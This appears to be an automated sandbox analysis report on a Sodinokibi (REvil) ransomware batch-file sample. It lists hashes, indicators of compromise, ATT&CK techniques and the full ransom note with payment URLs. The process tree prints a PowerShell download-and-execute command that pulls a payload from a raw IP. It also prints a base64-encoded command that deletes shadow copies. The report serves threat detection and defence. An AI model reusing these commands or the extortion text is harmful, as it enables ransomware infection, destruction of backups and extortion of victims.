sodinokibi | c3db21a3bdac87c8d424b99e8982e5ab86b8f648e7ec7c9268ea50621aa0c718

General

Target

Muz2mJiJ.bat
Size

189B
MD5

bb4861fd9b1cd958fbdd63202aaf58a1
SHA1

2646649376f6f3d50a9c2c07e1cad41e7100c17c
SHA256

c3db21a3bdac87c8d424b99e8982e5ab86b8f648e7ec7c9268ea50621aa0c718
SHA512

c6813ea6762f16b446d053073ada0da7417e0160f265c9ed8244d6fd233b7c5c122ca9a5662076fd7afdc5644e0bd6d059cf3542142a5c3ff228574f41d909a8

Score

10^/10

evasion spyware trojan ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/Muz2mJiJ

Extracted

Path

C:\sm4at8zor-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. OSTEAD. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension sm4at8zor. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F69439FE956460C6 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/F69439FE956460C6 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: eEC/jy8ctC0qOI8fRKRujf//4moCs9RF2hn3w8EIELxT92JiJdu1t7e5jHQaAUEQ FDpSmWVLuGA7VqEQNqzSSSunt++vsVxpgMjZVqvDZ4tEZ8SAYWCK32cicTn4TfXr 5Nw1YI3evYf+E4UuAwdsn+GafooTUCGV4zGtww55eyHdhC7BhUc3V82xzbzweaLA TaaZEKy1yOUGwaLQTuueJv0jcrlW0aH4D45LBaeQEuEC7mdgly5ekqAoPT5nG41j vduZUNtaRDelI0vRKfaT/KwKOA9MpJolNhuCOwIy1kAtIKAM1G4i3QddWoRKlFnN JYIinOKmI74agQvztfiyFa4ct8b1Z8lJldke+VEdpGCUmkEG3O/BEAOzUUjJBc0v gBb5k72Y8IhxhuJe+yvP+8wd/Y3y6drl8fi4pcYW81SboGXnWdzklVs8DM4t5Mbu ElhnvuHjp06clsARvwhTiHNPr88LeJCEPi/uASbsNWnvjxMCmM1hsTMCwfwTNavt a09PiF/CqBO0HMIV0yRY0M7LTz5nUiskdPTLltjawbYLR8kvhk3ZqD2NTzjSVuK2 8YbMSy53AjeYLimOf+dQ+pvnF73feLQotuq+L46tzWhfCiaudGrWzFqribZ3G17Y sGMDIef/DYB/ZN9/XvfhI/VJPZ+QgaZ7BH2PZaNXjm64WSULpFgGiaOqckXcPCaI 4bAYG0QTur8esozCnLhefIrX4Dum9rlMrpx0tIAX+h0/d+g98waV02FKoU9ox5Zo H0F0OjbFA8KoAv/Ljfm96kfaJPlGYXlbdlEkSx9/IXqn667MhuJAF198Ql+TJip+ hHTFignIeQCpsl9kM/6WSaylkYGwfp3oejhINVhYpTmzkwRzA/Fa4ydtCFU+wBfx JCmYrZ520aYdoM6P1pBkyPPu7gbPuc1lG2DrnwKla6VMnIL/Ch0ttXqmtq+SQ1xg ldyk2gi9y2CfNv9VlwZ3nayj8fZQx60AX8WuywD7t8OHfX0UhTQIgR4BTryhOGTk xP6Sh5sJWViXn1oSA9sqoLxU7QEg5b7avRaDnCY0v8Vlz8fzoMyY7OH5J8j+iPxc mZxQ9TrcjLPsqZRnWDSYmmkGzca1QsyVR3tQtQOH0E0bDh2qJHMv20EKU7j8p3N8 7JBMVzljLaq3QjBsugxirrSkTpiNfrRH7qwkBu63J+zEs1smMjVUylFaNg4QJCdT GzAPpPO/JGCtv+f2JU+qjCv+/JvHERRSa0bjhXKkX2uzyNqJbz99L8kB054qpV08 27febau3wSwNqp0If1204EoPX9TqljVWTgWZyz4puXEpp8Qf1qI= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F69439FE956460C6

http://decryptor.cc/F69439FE956460C6

Signatures

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

364 powershell.exe
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File opened for modification C:\Windows\System32\CatRoot2\dberr.txt powershell.exe
Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

pid	process
364	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Makes http(s) request 35 IoCs

Contacts server via http/https, possibly for C2 communication.

Processes:

description	flow	ioc
HTTP URL	133	https://blog.solutionsarchitect.guru/include/pictures/ix.gif
HTTP URL	176	https://ruralarcoiris.com/include/tmp/rwnfsh.png
HTTP URL	52	https://waveneyrivercentre.co.uk/wp-content/game/joiwqzufix.jpg
HTTP URL	64	https://bargningharnosand.se/static/pictures/rsvkme.jpg
HTTP URL	117	https://www.carrybrands.nl/uploads/graphic/xtwgypjg.gif
HTTP URL	119	https://www.carrybrands.nl/
HTTP URL	9	http://apps.identrust.com/roots/dstrootcax3.p7c
HTTP URL	5	http://185.103.242.78/pastes/Muz2mJiJ
HTTP URL	188	https://allentownpapershow.com/news/graphic/tyluzw.jpg
HTTP URL	145	https://www.cimanchesterescorts.co.uk/news/image/vcpiguhg.png
HTTP URL	121	https://dnepr-beskid.com.ua/wp-content/pictures/vqln.gif
HTTP URL	34	https://bloggyboulga.net/content/image/wtkvikma.gif
HTTP URL	54	https://www.waveneyrivercentre.co.uk/wp-content/game/joiwqzufix.jpg
HTTP URL	56	https://kunze-immobilien.de/data/pictures/sogfad.gif
HTTP URL	147	https://tongdaifpthaiphong.net/content/graphic/nhdu.gif
HTTP URL	149	https://evologic-technologies.com/content/assets/yjxnpodv.png
HTTP URL	153	https://qualitus.com/data/game/bapiif.gif
HTTP URL	172	https://tradiematepro.com.au/content/tmp/ay.png
HTTP URL	66	https://presseclub-magdeburg.de/admin/temp/uetcljta.png
HTTP URL	95	https://www.garage-lecompte-rouen.fr/uploads/image/rudpef.png
HTTP URL	151	https://geoffreymeuli.com/uploads/pics/kz.jpg
HTTP URL	39	https://gonzalezfornes.es/wp-content/graphic/idzrzpkqhimh.png
HTTP URL	115	https://carrybrands.nl/uploads/graphic/xtwgypjg.gif
HTTP URL	136	https://alfa-stroy72.com/data/graphic/eljfnk.png
HTTP URL	143	https://cimanchesterescorts.co.uk/news/image/vcpiguhg.png
HTTP URL	16	https://monark.com/news/temp/ounjrv.png
HTTP URL	18	https://www.monark.com/news/temp/ounjrv.png
HTTP URL	48	https://blgr.be/content/pictures/brqr.png
HTTP URL	11	http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
HTTP URL	93	https://garage-lecompte-rouen.fr/uploads/image/rudpef.png
HTTP URL	80	http://crt.comodoca.com/COMODORSAAddTrustCA.crt
HTTP URL	118	https://carrybrands.nl/
HTTP URL	155	https://fax-payday-loans.com/wp-content/pics/oningotqpgqw.png
HTTP URL	170	https://mmgdouai.fr/wp-content/assets/arzwzfxyvm.gif
HTTP URL	186	https://alysonhoward.com/data/game/cm.png

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Drops file in Program Files directory 26 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\InitializeShow.au	powershell.exe
File opened for modification	\??\c:\program files\MoveRedo.asp	powershell.exe
File opened for modification	\??\c:\program files\ResumeEdit.vsx	powershell.exe
File opened for modification	\??\c:\program files\SearchBlock.vb	powershell.exe
File opened for modification	\??\c:\program files\UnregisterComplete.xht	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\sm4at8zor-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\BackupCompare.eprtx	powershell.exe
File opened for modification	\??\c:\program files\GetMove.ttf	powershell.exe
File opened for modification	\??\c:\program files\InitializeCompare.mpeg2	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\sm4at8zor-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\OptimizeEdit.svg	powershell.exe
File opened for modification	\??\c:\program files\TraceSet.m4a	powershell.exe
File created	\??\c:\program files (x86)\sm4at8zor-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DismountDebug.xltx	powershell.exe
File opened for modification	\??\c:\program files\ExportSkip.dotm	powershell.exe
File opened for modification	\??\c:\program files\ResumeSync.mp4v	powershell.exe
File opened for modification	\??\c:\program files\WatchResize.vstx	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\sm4at8zor-readme.txt	powershell.exe
File created	\??\c:\program files\sm4at8zor-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ConvertFromAdd.vsx	powershell.exe
File opened for modification	\??\c:\program files\EnterRevoke.avi	powershell.exe
File opened for modification	\??\c:\program files\InitializeRestart.dib	powershell.exe
File opened for modification	\??\c:\program files\LimitCopy.xlsb	powershell.exe
File opened for modification	\??\c:\program files\NewImport.inf	powershell.exe
File opened for modification	\??\c:\program files\SwitchUpdate.midi	powershell.exe
File opened for modification	\??\c:\program files\UnlockInstall.ods	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1060 wrote to memory of 364	1060	cmd.exe	powershell.exe
PID 364 wrote to memory of 268	364	powershell.exe	powershell.exe
PID 364 wrote to memory of 268	364	powershell.exe	powershell.exe
PID 364 wrote to memory of 268	364	powershell.exe	powershell.exe
PID 364 wrote to memory of 268	364	powershell.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	364	powershell.exe
Token: SeDebugPrivilege	364	powershell.exe
Token: SeDebugPrivilege	268	powershell.exe
Token: SeBackupPrivilege	1620	vssvc.exe
Token: SeRestorePrivilege	1620	vssvc.exe
Token: SeAuditPrivilege	1620	vssvc.exe
Token: SeTakeOwnershipPrivilege	364	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

364 powershell.exe
364 powershell.exe
364 powershell.exe
268 powershell.exe
268 powershell.exe

pid	process
364	powershell.exe
364	powershell.exe
364	powershell.exe
268	powershell.exe
268	powershell.exe

Blacklisted process makes network request 107 IoCs

Processes:

powershell.exe

flow	pid	process
5	364	powershell.exe
7	364	powershell.exe
9	364	powershell.exe
11	364	powershell.exe
14	364	powershell.exe
16	364	powershell.exe
18	364	powershell.exe
20	364	powershell.exe
21	364	powershell.exe
23	364	powershell.exe
24	364	powershell.exe
26	364	powershell.exe
27	364	powershell.exe
29	364	powershell.exe
30	364	powershell.exe
32	364	powershell.exe
34	364	powershell.exe
36	364	powershell.exe
37	364	powershell.exe
39	364	powershell.exe
41	364	powershell.exe
43	364	powershell.exe
45	364	powershell.exe
46	364	powershell.exe
48	364	powershell.exe
50	364	powershell.exe
52	364	powershell.exe
54	364	powershell.exe
56	364	powershell.exe
58	364	powershell.exe
59	364	powershell.exe
61	364	powershell.exe
62	364	powershell.exe
64	364	powershell.exe
66	364	powershell.exe
68	364	powershell.exe
69	364	powershell.exe
71	364	powershell.exe
72	364	powershell.exe
74	364	powershell.exe
76	364	powershell.exe
78	364	powershell.exe
80	364	powershell.exe
83	364	powershell.exe
84	364	powershell.exe
86	364	powershell.exe
87	364	powershell.exe
89	364	powershell.exe
91	364	powershell.exe
93	364	powershell.exe
95	364	powershell.exe
97	364	powershell.exe
98	364	powershell.exe
100	364	powershell.exe
101	364	powershell.exe
103	364	powershell.exe
104	364	powershell.exe
106	364	powershell.exe
108	364	powershell.exe
110	364	powershell.exe
111	364	powershell.exe
113	364	powershell.exe
115	364	powershell.exe
117	364	powershell.exe

Modifies system certificate store 2 TTPs 8 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b06010505080202200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 430000000100000000000000040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f007400200043004100200058003300000020000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e650190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e709000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000002000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dc5h.bmp"	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Muz2mJiJ.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1060

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/Muz2mJiJ');Invoke-KFSFPL;Start-Sleep -s 10000"
2⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Modifies system certificate store
- Sets desktop wallpaper using registry
PID:364

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:268

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1620

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads